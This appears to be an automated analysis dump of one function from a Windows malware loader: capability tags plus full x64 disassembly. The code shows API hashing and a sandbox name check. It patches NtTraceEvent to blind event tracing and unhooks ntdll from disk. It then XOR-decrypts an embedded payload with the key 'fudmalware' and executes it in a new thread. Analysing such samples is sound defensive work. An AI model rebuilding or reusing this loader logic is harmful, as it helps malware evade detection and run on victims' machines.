Function at 0x140007e90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Patch event tracing for windows function
Resolve function by parsing pe exports

Disassembly:
push r15
mov eax, 0x31178
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1400024b0
sub rsp, rax
lea rsi, [0x14000a0c5]
call fcn.140001500
lea rdi, [rsp + 0x129]
mov ecx, 0x31047
rep movsb byte [rdi], byte [rsi]
lea rcx, str.kernel32.dll
call fcn.140007be0
mov edx, 0xfd0820
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.140007e10
mov rcx, qword [rsp + 0x68]
mov edx, 0xd77bf47b
mov rsi, rax
call fcn.140007e10
call rax
mov dword [rsp + 0x74], eax
test eax, eax
je 0x140007f0b
mov dword [rsp + 0x74], 1
jmp 0x140008393
lea rcx, str.User32.dll
lea rbx, [rsp + 0x108]
call fcn.140007be0
mov rcx, qword [rsp + 0x68]
mov edx, 0xf0677b50
mov rdi, rax
call fcn.140007e10
lea rdx, [rsp + 0xbc]
mov rcx, rbx
mov dword [rsp + 0xbc], 0x10
call rax
mov edx, 0x535044
mov rcx, rdi
call fcn.140007e10
mov rcx, rbx
call rax
lea rdx, str.DESKTOP_
mov rcx, rbx
call sub.msvcrt.dll_wcsstr
test rax, rax
je 0x140007efe
xor edi, edi
lea rcx, str.ntdll.dll
xor r12d, r12d
xor ebp, ebp
mov dword [rsp + 0xc0], edi
lea rdi, [rsp + 0xf0]
xor r15d, r15d
call fcn.140007be0
lea rdx, str.NtTraceEvent
mov rcx, rax
call fcn.140007c60
mov rcx, qword [rsp + 0x68]
mov edx, 0x1c6a5211
mov rbx, rax
call fcn.140007e10
lea r9, [rsp + 0xc0]
mov rcx, rbx
mov r8d, 0x40
mov qword [rsp + 0x78], r9
mov r13, rax
mov edx, 1
call r13
mov r9, qword [rsp + 0x78]
mov byte [rbx], 0xc3
mov rcx, rbx
mov r8d, dword [rsp + 0xc0]
mov edx, 1
call r13
mov rcx, qword [rsp + 0x68]
mov edx, 0xd171487f
call fcn.140007e10
mov rbx, rax
call rax
mov ecx, 6
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x74]
rep stosd dword [rdi], eax
lea rcx, str.ntdll.dll
call fcn.140007ce0
mov rcx, qword [rsp + 0x78]
mov r9d, 0x18
lea r8, [rsp + 0xf0]
mov rdx, rax
mov qword [rsp + 0x80], rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r14, qword [rsp + 0xf0]
xor r9d, r9d
mov r8d, 1
mov dword [rsp + 0x28], r12d
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x20], 3
call rsi
mov rcx, qword [rsp + 0x68]
mov edx, 0x71a68244
mov qword [rsp + 0x88], rax
call fcn.140007e10
xor edx, edx
xor r9d, r9d
mov r8d, 0x1000002
mov qword [rsp + 0x28], r15
mov rcx, qword [rsp + 0x88]
xor r15d, r15d
mov dword [rsp + 0x20], edx
xor edx, edx
call rax
mov rcx, qword [rsp + 0x68]
mov edx, 0x90e5f37
mov qword [rsp + 0x90], rax
call fcn.140007e10
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov edx, 4
mov rcx, qword [rsp + 0x90]
call rax
movsxd r12, dword [r14 + 0x3c]
mov qword [rsp + 0x98], rax
add r12, r14
lea rax, [r12 + 0x18]
mov qword [rsp + 0xa0], rax
cmp r15w, word [r12 + 6]
jae 0x1400081a6
mov rax, qword [rsp + 0xa0]
movzx r10d, word [r12 + 0x14]
lea rdx, str..text
add r10, rax
movzx eax, r15w
imul rax, rax, 0x28
lea rbp, [r10 + rax]
mov rcx, rbp
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000819e
xor esi, esi
lea r9, [rsp + 0xe4]
mov r8d, 0x40
mov dword [rsp + 0xe4], esi
mov ecx, dword [rbp + 0xc]
mov qword [rsp + 0xa8], r9
mov edx, dword [rbp + 8]
add rcx, r14
call r13
mov esi, dword [rbp + 0xc]
mov ecx, dword [rbp + 8]
mov rdi, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa8]
lea rax, [r14 + rsi]
add rsi, rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [rbp + 0xc]
mov edx, dword [rbp + 8]
mov r8d, dword [rsp + 0xe4]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r15d
jmp 0x1400080fe
mov rcx, qword [rsp + 0x68]
mov edx, 0xfc97a3
lea r15, [rsp + 0x129]
call fcn.140007e10
mov rcx, qword [rsp + 0x78]
mov rsi, rax
call rsi
mov rcx, qword [rsp + 0x88]
call rsi
mov rcx, qword [rsp + 0x90]
call rsi
mov rcx, qword [rsp + 0x68]
mov edx, 0xff79f6
call fcn.140007e10
mov rcx, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov r8d, 0xa
movabs rax, 0x61776c616d647566
mov qword [rsp + 0xe4], rax
mov word [rsp + 0xec], 0x6572
mov rax, rcx
xor edx, edx
div r8
mov al, byte [rsp + rdx + 0xe4]
xor byte [rcx + r15], al
inc rcx
cmp rcx, 0x31047
jne 0x140008218
xor eax, eax
lea rcx, str.ntdll.dll
mov qword [rsp + 0xd0], 0x31047
lea r14, [rsp + 0xd0]
mov dword [rsp + 0xc4], eax
lea r13, [rsp + 0xc8]
call fcn.140007be0
xor edx, edx
mov rcx, rax
mov qword [rsp + 0xc8], rdx
mov edx, 0xb9bad4a4
mov r12, rax
call fcn.140007e10
mov rsi, rax
call rbx
mov r9, r14
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rsi
mov edx, 0xe4357e14
mov rcx, r12
call fcn.140007e10
mov rdi, qword [rsp + 0xc8]
mov rsi, rax
call rbx
xor r8d, r8d
mov r9d, 0x31047
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov rcx, rax
mov r8, r15
call rsi
mov edx, 0x52e5c110
mov rcx, r12
call fcn.140007e10
mov rsi, rax
call rbx
mov r9d, 0x20
mov r8, r14
mov rdx, r13
mov rcx, rax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x20], rax
call rsi
mov edx, 0xf758add4
mov rcx, r12
call fcn.140007e10
mov rdi, qword [rsp + 0xc8]
mov rsi, rax
call rbx
xor r10d, r10d
xor r11d, r11d
xor r8d, r8d
mov qword [rsp + 0x50], r10
mov r9, rax
mov edx, 0x20000000
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x30], r11d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rsi
mov edx, 0x233945d0
mov rcx, r12
call fcn.140007e10
mov rcx, qword [rsp + 0xd8]
xor r8d, r8d
xor edx, edx
call rax
mov rcx, r12
mov edx, 0x3373d
call fcn.140007e10
mov rcx, qword [rsp + 0xd8]
call rax
mov eax, dword [rsp + 0x74]
add rsp, 0x31178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret